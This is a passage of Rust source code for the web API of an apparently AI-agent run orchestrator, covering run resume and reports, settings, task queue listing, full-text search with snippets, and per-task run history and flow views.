3309 before: before.as_str().to_owned(),
3310 after: after.as_str().to_owned(),
3311 removed,
3312 }))
3313}
3314
3315#[derive(Debug, Serialize)]
3317struct FoldMergedView {
3318 run: String,
3319 before: String,
3321 after: String,
3323 removed: Vec<String>,
3325}
3326
3327async fn run_resume(
3347 State(ui): State<Arc<Ui>>,
3348 Path(id): Path<String>,
3349) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3350 let (id, state) = {
3351 let ui = Arc::clone(&ui);
3352 blocking(move || {
3353 let id = resolve_run(&ui.runs, &id)?;
3354 let state = read_run(&ui.runs, &id)?;
3355 Ok((id, state))
3356 })
3357 .await?
3358 };
3359 if let Some(to) = &state.released_to {
3360 return Err(ApiError::conflict(format!(
3361 "run {} can no longer be resumed: its worktree was released to run {}, which \
3362 took the branch over.",
3363 state.short(),
3364 crate::run::short_of(to)
3365 )));
3366 }
3367 if !state.status.resumable() {
3368 return Err(ApiError::conflict(format!(
3369 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3370 state.short(),
3371 status_word(state.status)
3372 )));
3373 }
3374 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3379 .into_iter()
3380 .next()
3381 {
3382 return Err(ApiError::conflict(format!(
3383 "the loop is running run {} right now; stop it first, or wait for \
3384 it to finish, before resuming a run by hand.",
3385 crate::run::short_of(&work.run)
3386 )));
3387 }
3388 let _resume = ui.begin_resume(&id)?;
3389
3390 let queued = RunSummary::of(
3393 &state,
3394 !ui.questions.open_for(&id).is_empty(),
3395 state.liveness(false),
3396 );
3397 let run = id.clone();
3398 tokio::spawn(async move {
3399 let _resume = _resume;
3400 match crate::graph::Runner::resume(&run) {
3401 Ok(mut runner) => {
3402 if let Err(e) = runner.execute().await {
3403 tracing::warn!("resume of run {run} stopped: {e:#}");
3404 }
3405 }
3406 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3409 }
3410 });
3411 Ok((StatusCode::ACCEPTED, Json(queued)))
3412}
3413
3414async fn run_report(
3415 State(ui): State<Arc<Ui>>,
3416 Path(id): Path<String>,
3417) -> ApiResult<impl IntoResponse> {
3418 let text = blocking(move || {
3419 let id = resolve_run(&ui.runs, &id)?;
3420 let state = read_run(&ui.runs, &id)?;
3424 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3425 let live = state.liveness(daemon_claims);
3426 Ok(format!(
3427 "{}{}",
3428 report::run(&state),
3429 report::active_seats(&state, live)
3430 ))
3431 })
3432 .await?;
3433 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3434}
3435
3436async fn run_report_json(
3440 State(ui): State<Arc<Ui>>,
3441 Path(id): Path<String>,
3442) -> ApiResult<Json<crate::report_view::RunReportView>> {
3443 let view = blocking(move || {
3444 let id = resolve_run(&ui.runs, &id)?;
3445 let state = read_run(&ui.runs, &id)?;
3446 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3447 Ok(crate::report_view::build(
3448 &state,
3449 state.liveness(daemon_claims),
3450 ))
3451 })
3452 .await?;
3453 Ok(Json(view))
3454}
3455
3456#[derive(Debug, Serialize)]
3462struct TaskView {
3463 #[serde(flatten)]
3464 task: Task,
3465 source_label: String,
3466 source_link: Option<SourceLink>,
3467 status_str: &'static str,
3468 instruction_md: Vec<md::Node>,
3472 waits_on: Vec<String>,
3476 stuck_roots: Vec<String>,
3479}
3480
3481impl From<Task> for TaskView {
3482 fn from(task: Task) -> Self {
3483 Self {
3484 source_label: task.source.label(),
3485 source_link: source_link(&task.source),
3486 status_str: task.status.as_str(),
3487 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3488 waits_on: Vec::new(),
3489 stuck_roots: Vec::new(),
3490 task,
3491 }
3492 }
3493}
3494
3495impl TaskView {
3496 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3497 let waits_on = inv.waits_on(&task);
3498 let stuck_roots = inv
3499 .stuck_roots(&task)
3500 .iter()
3501 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3502 .collect();
3503 Self {
3504 waits_on,
3505 stuck_roots,
3506 ..Self::from(task)
3507 }
3508 }
3509}
3510
3511#[derive(Debug, Default, Deserialize)]
3514#[serde(default)]
3515struct ReposQuery {
3516 refresh: u8,
3517}
3518
3519async fn repos_list(
3526 State(ui): State<Arc<Ui>>,
3527 Query(q): Query<ReposQuery>,
3528) -> ApiResult<Json<Vec<repos::Repo>>> {
3529 let refresh = q.refresh != 0;
3530 blocking(move || {
3531 let (cfg, _) = Config::discover(&ui.repo, None)?;
3532 Ok(Json(ui.repos_cache.list(
3533 &cfg.repos.roots,
3534 Duration::from_secs(cfg.repos.scan_ttl),
3535 refresh,
3536 )))
3537 })
3538 .await
3539}
3540
3541async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3545 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3546}
3547
3548#[derive(Debug, Deserialize)]
3550#[serde(deny_unknown_fields)]
3551struct RolesBody {
3552 revision: String,
3554 #[serde(default)]
3556 roles: std::collections::BTreeMap<String, Vec<String>>,
3557 #[serde(default)]
3561 counts: std::collections::BTreeMap<String, serde_json::Value>,
3562}
3563
3564async fn settings_put_roles(
3570 State(ui): State<Arc<Ui>>,
3571 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3572) -> ApiResult<Json<settings::SettingsView>> {
3573 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3574 blocking(move || {
3575 settings::save(
3576 &ui.repo,
3577 ui.machine_config.as_deref(),
3578 &body.revision,
3579 &body.roles,
3580 &body.counts,
3581 )
3582 .map(Json)
3583 .map_err(|e| match e {
3584 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3585 settings::SaveError::Refused(m) => ApiError {
3586 status: StatusCode::UNPROCESSABLE_ENTITY,
3587 message: m,
3588 },
3589 settings::SaveError::Internal(m) => ApiError::internal(m),
3590 })
3591 })
3592 .await
3593}
3594
3595async fn queue_list(
3596 State(ui): State<Arc<Ui>>,
3597 Query(q): Query<ListQuery>,
3598) -> ApiResult<Json<Vec<TaskView>>> {
3599 blocking(move || {
3600 let tasks = ui.queue.list();
3601 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3602 Ok(Json(
3603 tasks
3604 .into_iter()
3605 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3606 .map(|t| TaskView::with_inventory(t, &inv))
3607 .collect(),
3608 ))
3609 })
3610 .await
3611}
3612
3613const SEARCH_MAX_HITS: usize = 100;
3615const SEARCH_MAX_QUERY: usize = 200;
3617const SEARCH_MAX_TERMS: usize = 8;
3618const SNIPPET_BEFORE: usize = 50;
3620const SNIPPET_AFTER: usize = 110;
3621
3622#[derive(Debug, Deserialize)]
3624struct SearchQuery {
3625 #[serde(default)]
3626 scope: String,
3627 #[serde(default)]
3628 q: String,
3629}
3630
3631#[derive(Debug, Serialize, PartialEq, Eq)]
3634struct SnippetPart {
3635 text: String,
3636 hit: bool,
3637}
3638
3639#[derive(Debug, Serialize)]
3640struct SearchHit {
3641 id: String,
3642 field: String,
3644 snippet: Vec<SnippetPart>,
3645 #[serde(skip_serializing_if = "Option::is_none")]
3649 run: Option<RunSummary>,
3650}
3651
3652#[derive(Debug, Serialize)]
3653struct SearchView {
3654 scope: String,
3655 q: String,
3656 hits: Vec<SearchHit>,
3658 total: usize,
3660 truncated: bool,
3661 unreadable: usize,
3664}
3665
3666fn text_leaves<'a>(
3669 value: &'a serde_json::Value,
3670 field: &'a str,
3671 out: &mut Vec<(&'a str, &'a str)>,
3672) {
3673 match value {
3674 serde_json::Value::String(s) => out.push((field, s)),
3675 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3676 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3677 _ => {}
3678 }
3679}
3680
3681fn fold_char(c: char) -> char {
3684 c.to_lowercase().next().unwrap_or(c)
3685}
3686
3687fn search_terms(q: &str) -> Vec<String> {
3689 let mut terms: Vec<String> = Vec::new();
3690 for t in q.split_whitespace() {
3691 let t = t.to_lowercase();
3692 if !terms.contains(&t) {
3693 terms.push(t);
3694 }
3695 }
3696 terms
3697}
3698
3699fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3702 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3703 let mut first: Option<usize> = None;
3704 for term in terms {
3705 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3706 first = Some(first.map_or(at, |f| f.min(at)));
3707 }
3708 let (field, text) = leaves[first?];
3710 Some(SearchHit {
3711 id: String::new(),
3712 field: field.to_owned(),
3713 snippet: snippet_of(text, terms),
3714 run: None,
3715 })
3716}
3717
3718fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3721 let chars: Vec<char> = text.chars().collect();
3722 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3723 let needles: Vec<Vec<char>> = terms
3724 .iter()
3725 .map(|t| t.chars().map(fold_char).collect())
3726 .collect();
3727 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3728 let mut best: Option<(usize, usize)> = None;
3729 for n in needles.iter().filter(|n| !n.is_empty()) {
3730 if n.len() > chars.len() || to == 0 {
3734 continue;
3735 }
3736 let last = (to - 1).min(chars.len() - n.len());
3737 if from > last {
3738 continue;
3739 }
3740 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3741 && best.is_none_or(|(b, _)| i < b)
3742 {
3743 best = Some((i, i + n.len()));
3744 }
3745 }
3746 best
3747 };
3748 let Some((start, _)) = find(0, chars.len()) else {
3749 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3751 return vec![SnippetPart {
3752 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3753 hit: false,
3754 }];
3755 };
3756 let lo = start.saturating_sub(SNIPPET_BEFORE);
3757 let hi = (start + SNIPPET_AFTER).min(chars.len());
3758 let mut parts: Vec<SnippetPart> = Vec::new();
3759 let mut push = |s: &[char], hit: bool| {
3760 if s.is_empty() {
3761 return;
3762 }
3763 let text: String = s.iter().collect();
3764 match parts.last_mut() {
3765 Some(p) if p.hit == hit => p.text.push_str(&text),
3766 _ => parts.push(SnippetPart { text, hit }),
3767 }
3768 };
3769 if lo > 0 {
3770 push(&['\u{2026}'], false);
3771 }
3772 let mut at = lo;
3773 while at < hi {
3774 match find(at, hi) {
3775 Some((s, e)) => {
3776 push(&chars[at..s], false);
3777 let shown = e.min(hi);
3779 push(&chars[s..shown], true);
3780 at = shown;
3781 }
3782 None => {
3783 push(&chars[at..hi], false);
3784 at = hi;
3785 }
3786 }
3787 }
3788 if hi < chars.len() {
3789 push(&['\u{2026}'], false);
3790 }
3791 let mut prev_space = false;
3794 for p in &mut parts {
3795 let mut out = String::with_capacity(p.text.len());
3796 for c in p.text.chars() {
3797 if c.is_whitespace() {
3798 if !prev_space {
3799 out.push(' ');
3800 }
3801 prev_space = true;
3802 } else {
3803 out.push(c);
3804 prev_space = false;
3805 }
3806 }
3807 p.text = out;
3808 }
3809 parts.retain(|p| !p.text.is_empty());
3810 parts
3811}
3812
3813fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3815where
3816 I: IntoIterator<Item = (String, serde_json::Value)>,
3817{
3818 for (id, doc) in docs {
3819 let mut leaves = Vec::new();
3820 leaves.push(("id", id.as_str()));
3823 text_leaves(&doc, "", &mut leaves);
3824 if let Some(mut hit) = search_document(terms, &leaves) {
3825 view.total += 1;
3826 if view.hits.len() < SEARCH_MAX_HITS {
3827 hit.id = id;
3828 view.hits.push(hit);
3829 }
3830 }
3831 }
3832 view.truncated = view.total > view.hits.len();
3833}
3834
3835fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3842 let opener = talk
3843 .turns
3844 .iter()
3845 .find(|t| t.who == crate::talk::Who::Operator)
3846 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3847 .unwrap_or("");
3848 let title: String = if opener.chars().count() > 96 {
3849 opener.chars().take(95).chain(['\u{2026}']).collect()
3850 } else {
3851 opener.to_owned()
3852 };
3853 let turns: Vec<serde_json::Value> = talk
3854 .turns
3855 .iter()
3856 .map(|t| {
3857 let who = match t.who {
3858 crate::talk::Who::Operator => "operator",
3859 crate::talk::Who::Agent => "agent",
3860 };
3861 serde_json::json!({ who: t.body })
3862 })
3863 .collect();
3864 serde_json::json!({ "title": title, "turns": turns })
3865}
3866
3867async fn search_get(
3874 State(ui): State<Arc<Ui>>,
3875 Query(q): Query<SearchQuery>,
3876) -> ApiResult<Json<SearchView>> {
3877 let query = q.q.trim().to_owned();
3878 if query.is_empty() {
3879 return Err(ApiError::bad_request("q must not be empty"));
3880 }
3881 if query.chars().count() > SEARCH_MAX_QUERY {
3882 return Err(ApiError::bad_request(format!(
3883 "q is longer than {SEARCH_MAX_QUERY} characters"
3884 )));
3885 }
3886 let terms = search_terms(&query);
3887 if terms.len() > SEARCH_MAX_TERMS {
3888 return Err(ApiError::bad_request(format!(
3889 "q has more than {SEARCH_MAX_TERMS} terms"
3890 )));
3891 }
3892 let scope = q.scope;
3893 if scope != "runs" && scope != "tasks" && scope != "chats" {
3894 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3895 }
3896 blocking(move || {
3897 let mut view = SearchView {
3898 scope: scope.clone(),
3899 q: query,
3900 hits: Vec::new(),
3901 total: 0,
3902 truncated: false,
3903 unreadable: 0,
3904 };
3905 if scope == "runs" {
3906 let mut unreadable = 0;
3907 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3911 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3912 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3913 Some(v) => Some((id, v)),
3914 None => {
3915 unreadable += 1;
3916 None
3917 }
3918 }
3919 });
3920 search_docs(&terms, docs, &mut view);
3921 view.unreadable = unreadable;
3922 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3925 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3926 for hit in &mut view.hits {
3927 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3928 hit.run = summarize(
3929 [state],
3930 &open_runs,
3931 &claimed,
3932 &superseded,
3933 |p| probe.borrow_mut().status(p),
3934 |p| probe.borrow_mut().started_at(p),
3935 )
3936 .pop();
3937 }
3938 }
3939 } else if scope == "chats" {
3940 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3941 view.unreadable = unreadable;
3942 search_docs(
3943 &terms,
3944 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3945 &mut view,
3946 );
3947 } else {
3948 let docs = ui.queue.list().into_iter().filter_map(|t| {
3949 let mut v = serde_json::to_value(&t).ok()?;
3950 if let Some(o) = v.as_object_mut() {
3953 o.insert("filed_by".to_owned(), t.source.label().into());
3954 }
3955 Some((t.id, v))
3956 });
3957 search_docs(&terms, docs, &mut view);
3958 }
3959 Ok(Json(view))
3960 })
3961 .await
3962}
3963
3964#[derive(Debug, Serialize)]
3966struct TaskRunView {
3967 n: usize,
3969 id: String,
3970 short: String,
3971 kind: &'static str,
3973 status: Option<&'static str>,
3975 readable: bool,
3977 provisional: bool,
3979 description: String,
3981 outcome: String,
3983 created_at: Option<Timestamp>,
3984 pr: Option<String>,
3985 exit: RunExit,
3987 attempt: AttemptCost,
3989 branch: Option<String>,
3991}
3992
3993#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3995#[serde(rename_all = "snake_case")]
3996enum RunExit {
3997 Unreadable,
3998 Interrupted,
4000 Parked,
4001 QuotaStall,
4002 ResumedQuotaStall,
4006 Merged,
4007 Ready,
4008 Superseded,
4009 AlreadyInBase,
4012 Stalled,
4014 HeldWithPr,
4016 NoopHeld,
4017 Spent,
4019 InProgress,
4020}
4021
4022#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4023#[serde(rename_all = "snake_case")]
4024enum AttemptCost {
4025 Spent,
4026 Refunded,
4027 None,
4028 Unknown,
4030}
4031
4032impl RunExit {
4033 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4034 let Some(s) = s else {
4035 return Self::Unreadable;
4036 };
4037 let status = s.status;
4038 if resumed_later {
4039 Self::Interrupted
4040 } else if s.parked {
4041 Self::Parked
4042 } else if !status.done() {
4043 Self::InProgress
4044 } else if matches!(status, RunStatus::Merged) {
4045 Self::Merged
4046 } else if matches!(status, RunStatus::Ready) {
4047 Self::Ready
4048 } else if matches!(status, RunStatus::Superseded) {
4049 Self::Superseded
4050 } else if matches!(status, RunStatus::AlreadyInBase) {
4051 Self::AlreadyInBase
4052 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4053 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4054 {
4055 if resumed {
4056 Self::ResumedQuotaStall
4057 } else {
4058 Self::QuotaStall
4059 }
4060 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4061 Self::HeldWithPr
4062 } else if matches!(status, RunStatus::VerifiedNoop) {
4063 Self::NoopHeld
4064 } else if matches!(status, RunStatus::Stalled) {
4065 Self::Stalled
4066 } else {
4067 Self::Spent
4068 }
4069 }
4070
4071 fn cost(self) -> AttemptCost {
4072 match self {
4073 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4074 Self::Merged
4075 | Self::Ready
4076 | Self::Stalled
4077 | Self::HeldWithPr
4078 | Self::NoopHeld
4079 | Self::Spent => AttemptCost::Spent,
4080 Self::InProgress => AttemptCost::None,
4081 Self::AlreadyInBase => AttemptCost::Refunded,
4082 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4083 AttemptCost::Unknown
4084 }
4085 }
4086 }
4087
4088 fn edge_label(self, status: Option<&str>) -> String {
4090 match self {
4091 Self::Unreadable => "record unreadable".to_owned(),
4092 Self::Interrupted => "interrupted before the run finished".to_owned(),
4093 Self::Parked => "parked, attempt refunded".to_owned(),
4094 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4095 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4096 Self::Merged => "merged".to_owned(),
4097 Self::Ready => "ready, not merged".to_owned(),
4098 Self::Superseded => "superseded by a later attempt".to_owned(),
4099 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4100 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4101 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4102 Self::NoopHeld => "verified no-op".to_owned(),
4103 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4104 Self::InProgress => "in progress".to_owned(),
4105 }
4106 }
4107
4108 fn explains(self, end: TaskStatus) -> bool {
4111 match self {
4112 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4113 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4114 Self::Unreadable | Self::Superseded | Self::Ready => true,
4115 _ => end != TaskStatus::Done,
4116 }
4117 }
4118}
4119
4120#[derive(Debug, Serialize)]
4122struct TaskDetailView {
4123 #[serde(flatten)]
4124 task: TaskView,
4125 max_attempts: usize,
4128 history: Vec<TaskRunView>,
4129 flow: FlowView,
4130 runs_unreadable: usize,
4132 attempts_note: &'static str,
4134}
4135
4136const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4137and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4138on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
4139in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
4140
4141fn review_branch_of(instruction: &str) -> Option<&str> {
4144 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4145 rest.split('`').next().filter(|b| !b.is_empty())
4146}
4147
4148struct RunSlot<'a> {
4150 n: usize,
4152 resumed: bool,
4154 resumed_later: Option<usize>,
4156 prior: Option<(&'a str, RunStatus)>,
4158 last: bool,
4159}
4160
4161fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4164 let RunSlot {
4165 n,
4166 resumed,
4167 resumed_later,
4168 prior,
4169 last,
4170 } = at;
4171 let short = run::short_of(id).to_owned();
4172 let Some(s) = state else {
4173 return TaskRunView {
4174 n,
4175 id: id.to_owned(),
4176 short,
4177 kind: "unknown",
4178 status: None,
4179 readable: false,
4180 provisional: false,
4181 description:
4182 "This run's record could not be read by this build (written by a different \
4183 magi, or removed), so what kind of attempt it was is unknown."
4184 .to_owned(),
4185 outcome: String::new(),
4186 created_at: None,
4187 pr: None,
4188 exit: RunExit::Unreadable,
4189 attempt: AttemptCost::Unknown,
4190 branch: None,
4191 };
4192 };
4193 let branch = review_branch_of(&s.instruction);
4194 let kind = if resumed {
4195 "resume"
4196 } else if branch.is_some() {
4197 "review"
4198 } else if task.solo || s.candidates.len() == 1 {
4199 "solo"
4200 } else {
4201 "competition"
4202 };
4203 let mut description = match kind {
4204 "resume" => {
4205 format!("Resumed run {short}: the same run carried on instead of competing again.")
4206 }
4207 "review" => format!(
4208 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4209 branch.unwrap_or_default()
4210 ),
4211 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4212 _ => format!(
4213 "Competition: {} candidates judged blind.",
4214 s.candidates.len().max(1)
4215 ),
4216 };
4217 if !resumed && let Some((p, st)) = prior {
4218 description.push_str(&format!(
4219 " A retry: run {p} before it ended {}.",
4220 st.display_label()
4221 ));
4222 }
4223
4224 let status = s.status;
4225 let provisional = matches!(status, RunStatus::Stalled)
4226 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4227 let head = if resumed_later.is_some() {
4228 String::new()
4229 } else {
4230 match status {
4231 RunStatus::Merged => "Merged.".to_owned(),
4232 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4233 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4234 RunStatus::AlreadyInBase => {
4235 "Already in the base: this change landed under other commits, nothing was left to land."
4236 .to_owned()
4237 }
4238 RunStatus::Stalled => {
4239 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4240 .to_owned()
4241 }
4242 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4243 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4244 RunStatus::VerifiedNoop => {
4245 "Verified no-op: the candidates found nothing to change.".to_owned()
4246 }
4247 other if other.done() => format!("Ended {}.", other.display_label()),
4248 other => format!("In progress ({}).", other.display_label()),
4249 }
4250 };
4251 let why = if let Some(k) = resumed_later {
4252 let cause = if s.quota.is_empty() {
4259 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4260 } else {
4261 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4262 };
4263 format!(
4264 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4265 )
4266 } else if s.parked {
4267 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4268 .to_owned()
4269 } else if !status.done()
4270 || matches!(
4271 status,
4272 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4273 )
4274 {
4275 String::new()
4276 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4277 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4278 {
4279 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4280 .to_owned()
4281 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4282 " It left a pull request open, so the task was held for a person rather than retried."
4283 .to_owned()
4284 } else if matches!(status, RunStatus::VerifiedNoop) {
4285 " Held for a person to check the claim.".to_owned()
4286 } else if last {
4287 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4288 } else {
4289 " It spent an attempt, and the task moved on to the next run.".to_owned()
4290 };
4291 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4292 TaskRunView {
4293 n,
4294 id: id.to_owned(),
4295 short,
4296 kind,
4297 status: Some(status.as_str()),
4298 readable: true,
4299 provisional,
4300 description,
4301 outcome: format!("{head}{why}"),
4302 created_at: Some(s.created_at),
4303 pr: s.pr.as_ref().map(|p| p.url.clone()),
4304 exit,
4305 attempt: exit.cost(),
4306 branch: branch.map(str::to_owned),
4307 }
4308}
4309
4310#[derive(Debug, Serialize, PartialEq)]
4312struct FlowNode {
4313 key: String,
4315 kind: &'static str,
4317 label: String,
4318 status: Option<&'static str>,
4321 note: Option<&'static str>,
4323 run_kind: Option<&'static str>,
4324 detail: Option<String>,
4325 decided: bool,
4327 readable: bool,
4328 href: Option<String>,
4329}
4330
4331#[derive(Debug, Serialize, PartialEq)]
4332struct FlowEdge {
4333 from: String,
4334 to: String,
4335 label: String,
4336 attempt: AttemptCost,
4337}
4338
4339#[derive(Debug, Serialize, PartialEq)]
4340struct FlowView {
4341 nodes: Vec<FlowNode>,
4342 edges: Vec<FlowEdge>,
4343 attempts: usize,
4345 max_attempts: usize,
4346}
4347
4348fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4351 let node = |key: &str, kind, label: String| FlowNode {
4352 key: key.to_owned(),
4353 kind,
4354 label,
4355 status: None,
4356 note: None,
4357 run_kind: None,
4358 detail: None,
4359 decided: false,
4360 readable: true,
4361 href: None,
4362 };
4363 let mut nodes = Vec::new();
4364 let mut edges: Vec<FlowEdge> = Vec::new();
4365 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4367 let mut n = node(
4368 "chat",
4369 "chat",
4370 format!("Chat {}", crate::queue::short(&link.id)),
4371 );
4372 n.href = Some(link.href);
4373 nodes.push(n);
4374 edges.push(FlowEdge {
4375 from: "chat".to_owned(),
4376 to: "start".to_owned(),
4377 label: "queued from chat".to_owned(),
4378 attempt: AttemptCost::None,
4379 });
4380 }
4381 nodes.push(node("start", "start", "Task queued".to_owned()));
4382 let mut prev = "start".to_owned();
4383 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4384 for (i, h) in history.iter().enumerate() {
4385 let key = format!("run-{}", h.n);
4386 let mut n = node(&key, "run", format!("Run {}", h.short));
4387 n.run_kind = Some(h.kind);
4388 n.readable = h.readable;
4389 n.href = Some(format!("#/runs/{}", h.id));
4390 n.decided = h.readable && !h.provisional;
4391 n.detail = h
4392 .branch
4393 .as_ref()
4394 .map(|b| format!("review-only run of branch {b}"));
4395 match h.exit {
4396 RunExit::Unreadable => n.note = Some("unreadable"),
4397 RunExit::Interrupted => n.note = Some("interrupted"),
4398 _ => {
4399 n.status = h.status;
4400 if h.provisional {
4401 n.note = Some("no verdict");
4402 }
4403 }
4404 }
4405 let into = match h.kind {
4406 "review" => Some(format!(
4407 "review-only run of branch {}",
4408 h.branch.as_deref().unwrap_or("?")
4409 )),
4410 "resume" => Some("resume the same run".to_owned()),
4411 _ if i > 0 => Some("retry".to_owned()),
4412 _ => None,
4413 };
4414 let label = match (prev_exit, into) {
4415 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4416 (Some((e, st)), None) => e.edge_label(st),
4417 (None, Some(i)) => i,
4418 (None, None) => "claimed".to_owned(),
4419 };
4420 edges.push(FlowEdge {
4421 from: prev.clone(),
4422 to: key.clone(),
4423 label,
4424 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4425 });
4426 prev_exit = Some((h.exit, h.status));
4427 prev = key;
4428 nodes.push(n);
4429 }
4430 let mut end = node("end", "end", task.status.as_str().to_owned());
4431 end.status = Some(task.status.as_str());
4432 nodes.push(end);
4433 let (label, attempt) = match prev_exit {
4434 None => (
4435 format!("no run yet \u{2192} {}", task.status.as_str()),
4436 AttemptCost::None,
4437 ),
4438 Some((e, st)) if e.explains(task.status) => (
4439 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4440 e.cost(),
4441 ),
4442 Some((e, _)) => (
4443 format!("closed by hand: task is {}", task.status.as_str()),
4444 e.cost(),
4445 ),
4446 };
4447 edges.push(FlowEdge {
4448 from: prev,
4449 to: "end".to_owned(),
4450 label,
4451 attempt,
4452 });
4453 FlowView {
4454 nodes,
4455 edges,
4456 attempts: task.attempts,
4457 max_attempts,
4458 }
4459}
4460
4461fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4464 let mut history = Vec::with_capacity(task.runs.len());
4465 let mut seen: Vec<&str> = Vec::new();
4466 let mut prior: Option<(&str, RunStatus)> = None;
4467 for (i, run_id) in task.runs.iter().enumerate() {
4468 let state = read(run_id);
4469 let resumed = seen.contains(&run_id.as_str());
4470 seen.push(run_id);
4471 history.push(task_run_view(
4472 run_id,
4473 state.as_ref(),
4474 RunSlot {
4475 n: i + 1,
4476 resumed,
4477 resumed_later: task.runs[i + 1..]
4478 .iter()
4479 .position(|r| r == run_id)
4480 .map(|off| i + off + 2),
4481 prior,
4482 last: i + 1 == task.runs.len(),
4483 },
4484 task,
4485 ));
4486 if let Some(s) = &state {
4487 prior = Some((run::short_of(run_id), s.status));
4488 }
4489 }
4490 history
4491}
4492
4493async fn task_detail(
4494 State(ui): State<Arc<Ui>>,
4495 Path(id): Path<String>,
4496) -> ApiResult<Json<TaskDetailView>> {
4497 blocking(move || {
4498 let id = resolve_task(&ui.queue, &id)?;
4499 let task = ui
4500 .queue
4501 .get(&id)
